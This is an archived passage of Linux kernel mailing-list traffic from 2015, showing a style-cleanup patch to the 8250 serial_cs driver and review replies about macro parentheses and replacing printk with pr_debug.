 			unsigned int msr =3D serial_in(up, UART_MSR);
 			up->msr_saved_flags |=3D msr & MSR_SAVE_FLAGS;
diff --git a/drivers/tty/serial/8250/serial_cs.c b/drivers/tty/serial/8=
250/serial_cs.c
index 4d180c9..6d7a801 100644
--- a/drivers/tty/serial/8250/serial_cs.c
+++ b/drivers/tty/serial/8250/serial_cs.c
@@ -28,7 +28,7 @@
     and other provisions required by the GPL.  If you do not delete
     the provisions above, a recipient may use your version of this
     file under either the MPL or the GPL.
-   =20
+
 =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D*/
=20
 #include <linux/module.h>
@@ -257,7 +257,7 @@ static const struct serial_quirk quirks[] =3D {
 };
=20
=20
-static int serial_config(struct pcmcia_device * link);
+static int serial_config(struct pcmcia_device *link);
=20
=20
 static void serial_remove(struct pcmcia_device *link)
@@ -309,7 +309,7 @@ static int serial_probe(struct pcmcia_device *link)
 	dev_dbg(&link->dev, "serial_attach()\n");
=20
 	/* Create new serial device */
-	info =3D kzalloc(sizeof (*info), GFP_KERNEL);
+	info =3D kzalloc(sizeof(*info), GFP_KERNEL);
 	if (!info)
 		return -ENOMEM;
 	info->p_dev =3D link;
@@ -339,7 +339,7 @@ static void serial_detach(struct pcmcia_device *lin=
k)
=20
 /*=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D*/
=20
-static int setup_serial(struct pcmcia_device *handle, struct serial_in=
fo * info,
+static int setup_serial(struct pcmcia_device *handle, struct serial_in=
fo *info,
 			unsigned int iobase, int irq)
 {
 	struct uart_8250_port uart;
@@ -600,7 +600,7 @@ static int serial_check_for_multi(struct pcmcia_dev=
ice *p_dev,  void *priv_data)
 }
=20
=20
-static int serial_config(struct pcmcia_device * link)
+static int serial_config(struct pcmcia_device *link)
 {
 	struct serial_info *info =3D link->priv;
 	int i;
@@ -701,7 +701,7 @@ static const struct pcmcia_device_id serial_ids[] =3D=
 {
 	PCMCIA_PFC_DEVICE_PROD_ID12(1, "LINKSYS", "PCMLM336", 0xf7cb0b07, 0x7=
a821b58),
 	PCMCIA_PFC_DEVICE_PROD_ID12(1, "MEGAHERTZ", "XJEM1144/CCEM1144", 0xf5=
10db04, 0x52d21e1e),
 	PCMCIA_PFC_DEVICE_PROD_ID12(1, "MICRO RESEARCH", "COMBO-L/M-336", 0xb=
2ced065, 0x3ced0555),
-	PCMCIA_PFC_DEVICE_PROD_ID12(1, "NEC", "PK-UG-J001" ,0x18df0ba0 ,0x831=
b1064),
+	PCMCIA_PFC_DEVICE_PROD_ID12(1, "NEC", "PK-UG-J001", 0x18df0ba0, 0x831=
b1064),
 	PCMCIA_PFC_DEVICE_PROD_ID12(1, "Ositech", "Trumpcard:Jack of Diamonds=
 Modem+Ethernet", 0xc2f80cd, 0x656947b9),
 	PCMCIA_PFC_DEVICE_PROD_ID12(1, "Ositech", "Trumpcard:Jack of Hearts M=
odem+Ethernet", 0xc2f80cd, 0xdc9ba5ed),
 	PCMCIA_PFC_DEVICE_PROD_ID12(1, "PCMCIAs", "ComboCard", 0xdcfe12d3, 0x=
cd8906cc),
@@ -797,30 +797,30 @@ static const struct pcmcia_device_id serial_ids[]=
 =3D {
 	PCMCIA_DEVICE_CIS_PROD_ID123("ADVANTECH", "COMpad-32/85", "1.0", 0x96=
913a85, 0x8fbe92ae, 0x0877b627, "cis/COMpad2.cis"),
 	PCMCIA_DEVICE_CIS_PROD_ID2("RS-COM 2P", 0xad20b156, "cis/RS-COM-2P.ci=
s"),
 	PCMCIA_DEVICE_CIS_MANF_CARD(0x0013, 0x0000, "cis/GLOBETROTTER.cis"),
-	PCMCIA_DEVICE_PROD_ID12("ELAN DIGITAL SYSTEMS LTD, c1997.","SERIAL CA=
RD: SL100  1.00.",0x19ca78af,0xf964f42b),
-	PCMCIA_DEVICE_PROD_ID12("ELAN DIGITAL SYSTEMS LTD, c1997.","SERIAL CA=
RD: SL100",0x19ca78af,0x71d98e83),
-	PCMCIA_DEVICE_PROD_ID12("ELAN DIGITAL SYSTEMS LTD, c1997.","SERIAL CA=
RD: SL232  1.00.",0x19ca78af,0x69fb7490),
-	PCMCIA_DEVICE_PROD_ID12("ELAN DIGITAL SYSTEMS LTD, c1997.","SERIAL CA=
RD: SL232",0x19ca78af,0xb6bc0235),
-	PCMCIA_DEVICE_PROD_ID12("ELAN DIGITAL SYSTEMS LTD, c2000.","SERIAL CA=
RD: CF232",0x63f2e0bd,0xb9e175d3),
-	PCMCIA_DEVICE_PROD_ID12("ELAN DIGITAL SYSTEMS LTD, c2000.","SERIAL CA=
RD: CF232-5",0x63f2e0bd,0xfce33442),
-	PCMCIA_DEVICE_PROD_ID12("Elan","Serial Port: CF232",0x3beb8cf2,0x171e=
7190),
-	PCMCIA_DEVICE_PROD_ID12("Elan","Serial Port: CF232-5",0x3beb8cf2,0x20=
da4262),
-	PCMCIA_DEVICE_PROD_ID12("Elan","Serial Port: CF428",0x3beb8cf2,0xea5d=
d57d),
-	PCMCIA_DEVICE_PROD_ID12("Elan","Serial Port: CF500",0x3beb8cf2,0xd772=
55fa),
-	PCMCIA_DEVICE_PROD_ID12("Elan","Serial Port: IC232",0x3beb8cf2,0x6a70=
9903),
-	PCMCIA_DEVICE_PROD_ID12("Elan","Serial Port: SL232",0x3beb8cf2,0x1843=
0676),
-	PCMCIA_DEVICE_PROD_ID12("Elan","Serial Port: XL232",0x3beb8cf2,0x6f93=
3767),
-	PCMCIA_MFC_DEVICE_PROD_ID12(0,"Elan","Serial Port: CF332",0x3beb8cf2,=
0x16dc1ba7),
-	PCMCIA_MFC_DEVICE_PROD_ID12(0,"Elan","Serial Port: SL332",0x3beb8cf2,=
0x19816c41),
-	PCMCIA_MFC_DEVICE_PROD_ID12(0,"Elan","Serial Port: SL385",0x3beb8cf2,=
0x64112029),
-	PCMCIA_MFC_DEVICE_PROD_ID12(0,"Elan","Serial Port: SL432",0x3beb8cf2,=
0x1cce7ac4),
-	PCMCIA_MFC_DEVICE_PROD_ID12(0,"Elan","Serial+Parallel Port: SP230",0x=
3beb8cf2,0xdb9e58bc),
-	PCMCIA_MFC_DEVICE_PROD_ID12(1,"Elan","Serial Port: CF332",0x3beb8cf2,=
0x16dc1ba7),
-	PCMCIA_MFC_DEVICE_PROD_ID12(1,"Elan","Serial Port: SL332",0x3beb8cf2,=
0x19816c41),
-	PCMCIA_MFC_DEVICE_PROD_ID12(1,"Elan","Serial Port: SL385",0x3beb8cf2,=
0x64112029),
-	PCMCIA_MFC_DEVICE_PROD_ID12(1,"Elan","Serial Port: SL432",0x3beb8cf2,=
0x1cce7ac4),
-	PCMCIA_MFC_DEVICE_PROD_ID12(2,"Elan","Serial Port: SL432",0x3beb8cf2,=
0x1cce7ac4),
-	PCMCIA_MFC_DEVICE_PROD_ID12(3,"Elan","Serial Port: SL432",0x3beb8cf2,=
0x1cce7ac4),
+	PCMCIA_DEVICE_PROD_ID12("ELAN DIGITAL SYSTEMS LTD, c1997.", "SERIAL C=
ARD: SL100  1.00.", 0x19ca78af, 0xf964f42b),
+	PCMCIA_DEVICE_PROD_ID12("ELAN DIGITAL SYSTEMS LTD, c1997.", "SERIAL C=
ARD: SL100", 0x19ca78af, 0x71d98e83),
+	PCMCIA_DEVICE_PROD_ID12("ELAN DIGITAL SYSTEMS LTD, c1997.", "SERIAL C=
ARD: SL232  1.00.", 0x19ca78af, 0x69fb7490),
+	PCMCIA_DEVICE_PROD_ID12("ELAN DIGITAL SYSTEMS LTD, c1997.", "SERIAL C=
ARD: SL232", 0x19ca78af, 0xb6bc0235),
+	PCMCIA_DEVICE_PROD_ID12("ELAN DIGITAL SYSTEMS LTD, c2000.", "SERIAL C=
ARD: CF232", 0x63f2e0bd, 0xb9e175d3),
+	PCMCIA_DEVICE_PROD_ID12("ELAN DIGITAL SYSTEMS LTD, c2000.", "SERIAL C=
ARD: CF232-5", 0x63f2e0bd, 0xfce33442),
+	PCMCIA_DEVICE_PROD_ID12("Elan", "Serial Port: CF232", 0x3beb8cf2, 0x1=
71e7190),
+	PCMCIA_DEVICE_PROD_ID12("Elan", "Serial Port: CF232-5", 0x3beb8cf2, 0=
x20da4262),
+	PCMCIA_DEVICE_PROD_ID12("Elan", "Serial Port: CF428", 0x3beb8cf2, 0xe=
a5dd57d),
+	PCMCIA_DEVICE_PROD_ID12("Elan", "Serial Port: CF500", 0x3beb8cf2, 0xd=
77255fa),
+	PCMCIA_DEVICE_PROD_ID12("Elan", "Serial Port: IC232", 0x3beb8cf2, 0x6=
a709903),
+	PCMCIA_DEVICE_PROD_ID12("Elan", "Serial Port: SL232", 0x3beb8cf2, 0x1=
8430676),
+	PCMCIA_DEVICE_PROD_ID12("Elan", "Serial Port: XL232", 0x3beb8cf2, 0x6=
f933767),
+	PCMCIA_MFC_DEVICE_PROD_ID12(0, "Elan", "Serial Port: CF332", 0x3beb8c=
f2, 0x16dc1ba7),
+	PCMCIA_MFC_DEVICE_PROD_ID12(0, "Elan", "Serial Port: SL332", 0x3beb8c=
f2, 0x19816c41),
+	PCMCIA_MFC_DEVICE_PROD_ID12(0, "Elan", "Serial Port: SL385", 0x3beb8c=
f2, 0x64112029),
+	PCMCIA_MFC_DEVICE_PROD_ID12(0, "Elan", "Serial Port: SL432", 0x3beb8c=
f2, 0x1cce7ac4),
+	PCMCIA_MFC_DEVICE_PROD_ID12(0, "Elan", "Serial+Parallel Port: SP230",=
 0x3beb8cf2, 0xdb9e58bc),
+	PCMCIA_MFC_DEVICE_PROD_ID12(1, "Elan", "Serial Port: CF332", 0x3beb8c=
f2, 0x16dc1ba7),
+	PCMCIA_MFC_DEVICE_PROD_ID12(1, "Elan", "Serial Port: SL332", 0x3beb8c=
f2, 0x19816c41),
+	PCMCIA_MFC_DEVICE_PROD_ID12(1, "Elan", "Serial Port: SL385", 0x3beb8c=
f2, 0x64112029),
+	PCMCIA_MFC_DEVICE_PROD_ID12(1, "Elan", "Serial Port: SL432", 0x3beb8c=
f2, 0x1cce7ac4),
+	PCMCIA_MFC_DEVICE_PROD_ID12(2, "Elan", "Serial Port: SL432", 0x3beb8c=
f2, 0x1cce7ac4),
+	PCMCIA_MFC_DEVICE_PROD_ID12(3, "Elan", "Serial Port: SL432", 0x3beb8c=
f2, 0x1cce7ac4),
 	PCMCIA_DEVICE_MANF_CARD(0x0279, 0x950b),
 	/* too generic */
 	/* PCMCIA_MFC_DEVICE_MANF_CARD(0, 0x0160, 0x0002), */
--=20
1.9.1


From - Thu Nov 08 21:38:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: anton.wuerfel@fau.de
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH 08/11] tty: serial: 8250: Add parentheses to macro
Date: Fri, 18 Dec 2015 12:36:36 +0100
Lines: 41
Approved: news@gmane.org
Message-ID: <99efe3549ef3d0b399b78b2f8f66947c.squirrel@faumail.uni-erlangen.de>
References: <1450280177-4460-1-git-send-email-anton.wuerfel@fau.de>
    <1450280177-4460-9-git-send-email-anton.wuerfel@fau.de>
    <1450365401.30729.142.camel@linux.intel.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1450439033 21470 80.91.229.3 (18 Dec 2015 11:43:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 18 Dec 2015 11:43:53 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
	linux-kernel@i4.cs.fau.de, anton.wuerfel@fau.de,
	phillip.raffeck@fau.de
To: "Andy Shevchenko" <andriy.shevchenko@linux.intel.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Dec 18 12:43:41 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1a9tRk-0006ZF-16
	for glpp-linux-parisc@plane.gmane.org; Fri, 18 Dec 2015 12:43:40 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752054AbbLRLni convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 18 Dec 2015 06:43:38 -0500
Original-Received: from mx-rz-1.rrze.uni-erlangen.de ([131.188.11.20]:58855 "EHLO
	mx-rz-1.rrze.uni-erlangen.de" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751780AbbLRLnh (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 18 Dec 2015 06:43:37 -0500
X-Greylist: delayed 419 seconds by postgrey-1.27 at vger.kernel.org; Fri, 18 Dec 2015 06:43:37 EST
Original-Received: from boeck2.rrze.uni-erlangen.de (boeck2.rrze.uni-erlangen.de [131.188.11.32])
	by mx-rz-1.rrze.uni-erlangen.de (Postfix) with ESMTP id 3pMSnx2HLjzKTJh;
	Fri, 18 Dec 2015 12:36:37 +0100 (CET)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple; d=fau.de; s=fau-2013;
	t=1450438597; bh=llra2OWbzhZvb4df6VSCMLVt4qLF4iOyqT/uMTHb2jo=;
	h=In-Reply-To:References:Date:Subject:From:To:Cc:From;
	b=gMIxGx5t4eVIcWFn+WyjltP0xP6C7arkwSAg4yvfVIT5Wyb4lzdkivC9Ni7Pmevpb
	 LUVfvyxVQeYbv0cHeKYQLAtf7hwUKIdZLJxhiOumLx3tQvYkyrZ2ySOk3ssIgJVKYp
	 tJzzQ7fKpPovOCuDv/6OHTxG0mf10vUm+p5B1FPh2MiHH6W0BtNG5H1wUntk8NUli6
	 me7RMde7P6w43rajezkYJ4eL27Jml9WRHmp3GvKFK9it05AaL/lXwo23ZH8uDK4Rhg
	 uf+GirrMkPJDciF4eHvSQCaMQlnQhOVqbCe9q4lJXCkZCCGPt3SltBr+LLj801tFT0
	 MrV72a3NrweLg==
X-Virus-Scanned: amavisd-new at boeck2.rrze.uni-erlangen.de (RRZE)
Original-Received: from mx-rz-1.rrze.uni-erlangen.de ([131.188.11.20])
	by boeck2.rrze.uni-erlangen.de (boeck2.rrze.uni-erlangen.de [131.188.11.32]) (amavisd-new, port 10026)
	with LMTP id SVN7V81LKjnp; Fri, 18 Dec 2015 12:36:36 +0100 (CET)
Original-Received: from mx-rz-smart.rrze.uni-erlangen.de (mx-rz-smart.rrze.uni-erlangen.de [IPv6:2001:638:a000:1025::1e])
	by mx-rz-1.rrze.uni-erlangen.de (Postfix) with ESMTP id 3pMSnw3sHGzKTGy;
	Fri, 18 Dec 2015 12:36:36 +0100 (CET)
X-RRZE-Submit-IP: 131.188.11.38
Original-Received: from faumail.uni-erlangen.de (smtp.uni-erlangen.de [131.188.11.38])
	by smtp.uni-erlangen.de (Postfix) with ESMTP id 3pMSnw327FzHqQc;
	Fri, 18 Dec 2015 12:36:36 +0100 (CET)
Original-Received: from 2001:638:a000:4142::ff02:ff22
        by faumail.uni-erlangen.de with HTTP;
        Fri, 18 Dec 2015 12:36:36 +0100
In-Reply-To: <1450365401.30729.142.camel@linux.intel.com>
User-Agent: SquirrelMail/1.4.23 [SVN]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26223 gmane.linux.kernel:2111587
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26223>

Hello Andy,

> What about the rest of the drivers under drivers/tty/serial?
>
> What do you propose to do with, for example, the following
>
> drivers/tty/serial/cpm_uart/cpm_uart_core.c:1392:#define
> CPM_UART_CONSOLE=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0&cpm_scc_ua=
rt_console
> drivers/tty/serial/cpm_uart/cpm_uart_core.c:1394:#define
> CPM_UART_CONSOLE=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0NULL
>
>> =C2=A0#else
>> =C2=A0#define SERIAL8250_CONSOLE	NULL
>> =C2=A0#endif
>

thanks for your reply. Phillip and me are newcomers to kernel developme=
nt,
so we tried to touch as few files as possible and gain some experience =
in
creating patches and communication on LKML. We will consider sending
further patches in the future.

Regards,
Phillip Raffeck
Anton Wuerfel

> --
> Andy Shevchenko <andriy.shevchenko@linux.intel.com>
> Intel Finland Oy
>
>


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andy Shevchenko <andriy.shevchenko@linux.intel.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.serial,gmane.linux.kernel
Subject: Re: [PATCH v2 10/11] tty: serial: 8250: Replace printk by pr_*
Date: Fri, 18 Dec 2015 14:32:06 +0200
Organization: Intel Finland Oy
Lines: 53
Approved: news@gmane.org
Message-ID: <1450441926.30729.208.camel@linux.intel.com>
References: <1450437723-2978-1-git-send-email-anton.wuerfel@fau.de>
	 <1450437723-2978-11-git-send-email-anton.wuerfel@fau.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1450441935 3906 80.91.229.3 (18 Dec 2015 12:32:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 18 Dec 2015 12:32:15 +0000 (UTC)
Cc: Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
	Jiri Slaby <jslaby@suse.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Peter Hurley <peter@hurleysoftware.com>,
	Heikki Krogerus <heikki.krogerus@linux.intel.com>,
	Qipeng Zha <qipeng.zha@intel.com>,
	Desmond Liu <desmondl@broadcom.com>,
	Wang Long <long.wanglong@huawei.com>,
	Matt Redfearn <matt.redfearn@imgtec.com>,
	Paul Burton <paul.burton@imgtec.com>,
	Ralf Baechle <ralf@linux-mips.org>,
	Krzysztof Kozlowski <k.kozlowski@samsung.com>,
	Peter Hung <hpeter@gmail.com>,
	Soeren Grunewald <soeren.grunewald@desy.de>,
	Adam Lee <adam.lee@canonical.com>,
	"Maciej S. Szmigiero" <mail@maciej.szmigiero.name>,
	Mans Rullgard <mans@mansr.com>, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org, linux-kernel@i4.cs.fau.de,
	Phillip Raffeck <phillip.raffeck@fau.de>
To: Anton Wuerfel <anton.wuerfel@fau.de>, linux-serial@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Dec 18 13:32:07 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1a9uCU-00041l-Hr
	for glpp-linux-parisc@plane.gmane.org; Fri, 18 Dec 2015 13:31:58 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752671AbbLRMb6 convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 18 Dec 2015 07:31:58 -0500
Original-Received: from mga14.intel.com ([192.55.52.115]:64710 "EHLO mga14.intel.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752646AbbLRMb5 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 18 Dec 2015 07:31:57 -0500
Original-Received: from orsmga002.jf.intel.com ([10.7.209.21])
  by fmsmga103.fm.intel.com with ESMTP; 18 Dec 2015 04:31:56 -0800
X-ExtLoop1: 1
X-IronPort-AV: E=Sophos;i="5.20,446,1444719600"; 
   d="scan'208";a="874237020"
Original-Received: from smile.fi.intel.com (HELO smile) ([10.237.72.86])
  by orsmga002.jf.intel.com with ESMTP; 18 Dec 2015 04:31:48 -0800
In-Reply-To: <1450437723-2978-11-git-send-email-anton.wuerfel@fau.de>
X-Mailer: Evolution 3.18.2-1 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26224 gmane.linux.serial:21161 gmane.linux.kernel:2111618
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26224>

On Fri, 2015-12-18 at 12:22 +0100, Anton Wuerfel wrote:


>  This comes with a slight change in behaviour as
> pr_debug is configurable via CONFIG_DYNAMIC_DEBUG, whereas
> printk(KERN_DEBUG ...) is not.

--- a/drivers/tty/serial/8250/8250_pnp.c
> +++ b/drivers/tty/serial/8250/8250_pnp.c
> @@ -465,9 +465,9 @@ serial_pnp_probe(struct pnp_dev *dev, const
> struct pnp_device_id *dev_id)
> =C2=A0		return -ENODEV;
> =C2=A0
> =C2=A0#ifdef SERIAL_DEBUG_PNP
> -	printk(KERN_DEBUG

I think it's not okay.

The rationale to have printk(KERN_DEBUG =E2=80=A6) here is to allow a
compilation with support of those messages independently on
DYNAMIC_DEBUG.

If you want to switch to DYNAMIC_DEBUG you have to carefully check what
is done under=C2=A0SERIAL_DEBUG_PNP.

git grep on current linux-next shows that SERIAL_DEBUG_PNP is an
orphan.

So, I would suggest to remove #ifdef.

> -		"Setup PNP port: port %x, mem 0x%lx, irq %d, type
> %d\n",
> -		=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0uart.port.iobase, uart.p=
ort.mapbase,
> uart.port.irq, uart.port.iotype);
> +	pr_debug("Setup PNP port: port %x, mem 0x%lx, irq %d, type
> %d\n",
> +		=C2=A0uart.port.iobase, uart.port.mapbase,
> +		=C2=A0uart.port.irq, uart.port.iotype);
> =C2=A0#endif
>=20


--=20
Andy Shevchenko <andriy.shevchenko@linux.intel.com>
Intel Finland Oy

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andy Shevchenko <andriy.shevchenko@linux.intel.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH 08/11] tty: serial: 8250: Add parentheses to macro
Date: Fri, 18 Dec 2015 14:35:15 +0200
Organization: Intel Finland Oy
Lines: 58
Approved: news@gmane.org
Message-ID: <1450442115.30729.211.camel@linux.intel.com>
References: <1450280177-4460-1-git-send-email-anton.wuerfel@fau.de>
	 <1450280177-4460-9-git-send-email-anton.wuerfel@fau.de>
	 <1450365401.30729.142.camel@linux.intel.com>
	 <99efe3549ef3d0b399b78b2f8f66947c.squirrel@faumail.uni-erlangen.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1450442245 8231 80.91.229.3 (18 Dec 2015 12:37:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 18 Dec 2015 12:37:25 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
	linux-kernel@i4.cs.fau.de, phillip.raffeck@fau.de
To: anton.wuerfel@fau.de
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Dec 18 13:37:14 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1a9uHW-0004Uz-UY
	for glpp-linux-parisc@plane.gmane.org; Fri, 18 Dec 2015 13:37:11 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752320AbbLRMhK convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 18 Dec 2015 07:37:10 -0500
Original-Received: from mga03.intel.com ([134.134.136.65]:47539 "EHLO mga03.intel.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751791AbbLRMhJ (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 18 Dec 2015 07:37:09 -0500
Original-Received: from fmsmga003.fm.intel.com ([10.253.24.29])
  by orsmga103.jf.intel.com with ESMTP; 18 Dec 2015 04:37:07 -0800
X-ExtLoop1: 1
X-IronPort-AV: E=Sophos;i="5.20,446,1444719600"; 
   d="scan'208";a="620150418"
Original-Received: from smile.fi.intel.com (HELO smile) ([10.237.72.86])
  by FMSMGA003.fm.intel.com with ESMTP; 18 Dec 2015 04:37:05 -0800
In-Reply-To: <99efe3549ef3d0b399b78b2f8f66947c.squirrel@faumail.uni-erlangen.de>
X-Mailer: Evolution 3.18.2-1 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26225 gmane.linux.kernel:2111622
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26225>

On Fri, 2015-12-18 at 12:36 +0100, anton.wuerfel@fau.de wrote:
> Hello Andy,
>=20
> > What about the rest of the drivers under drivers/tty/serial?
> >=20
> > What do you propose to do with, for example, the following
> >=20
> > drivers/tty/serial/cpm_uart/cpm_uart_core.c:1392:#define
> > CPM_UART_CONSOLE=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0&cpm_scc_=
uart_console
> > drivers/tty/serial/cpm_uart/cpm_uart_core.c:1394:#define
> > CPM_UART_CONSOLE=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0NULL
> >=20
> > > =C2=A0#else
> > > =C2=A0#define SERIAL8250_CONSOLE	NULL
> > > =C2=A0#endif
> >=20
>=20
> thanks for your reply. Phillip and me are newcomers to kernel
> development,

Welcome!

> so we tried to touch as few files as possible and gain some
> experience in
> creating patches and communication on LKML. We will consider sending
> further patches in the future.

I see.

I don't know which way is preferable for such patches, I think Greg
usually likes when one patch touches one driver. So, this one is okay,
and other drivers can be fixed later.



> Regards,
> Phillip Raffeck
> Anton Wuerfel
>=20
> > --
> > Andy Shevchenko <andriy.shevchenko@linux.intel.com>
> > Intel Finland Oy
> >=20
> >=20
>=20
>=20

--=20
Andy Shevchenko <andriy.shevchenko@linux.intel.com>
Intel Finland Oy

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Shevchenko, Andriy" <andriy.shevchenko@intel.com>
Newsgroups: gmane.linux.kernel,gmane.linux.serial,gmane.linux.ports.parisc
Subject: Re: [PATCH v2 10/11] tty: serial: 8250: Replace printk by pr_*
Date: Fri, 18 Dec 2015 12:42:08 +0000
Lines: 24
Approved: news@gmane.org
Message-ID: <1450442546.30729.217.camel@intel.com>
References: <1450437723-2978-1-git-send-email-anton.wuerfel@fau.de>
	 <1450437723-2978-11-git-send-email-anton.wuerfel@fau.de>
	 <1450441926.30729.208.camel@linux.intel.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: base64
X-Trace: ger.gmane.org 1450442611 14257 80.91.229.3 (18 Dec 2015 12:43:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 18 Dec 2015 12:43:31 +0000 (UTC)
Cc: "linux-kernel@vger.kernel.org" <linux-kernel@vger.kernel.org>,
	"mail@maciej.szmigiero.name" <mail@maciej.szmigiero.name>,
	"desmondl@broadcom.com" <desmondl@broadcom.com>,
	"Zha, Qipeng" <qipeng.zha@intel.com>,
	"heikki.krogerus@linux.intel.com" <heikki.krogerus@linux.intel.com>,
	"long.wanglong@huawei.com" <long.wanglong@huawei.com>,
	"soeren.grunewald@desy.de" <soeren.grunewald@desy.de>,
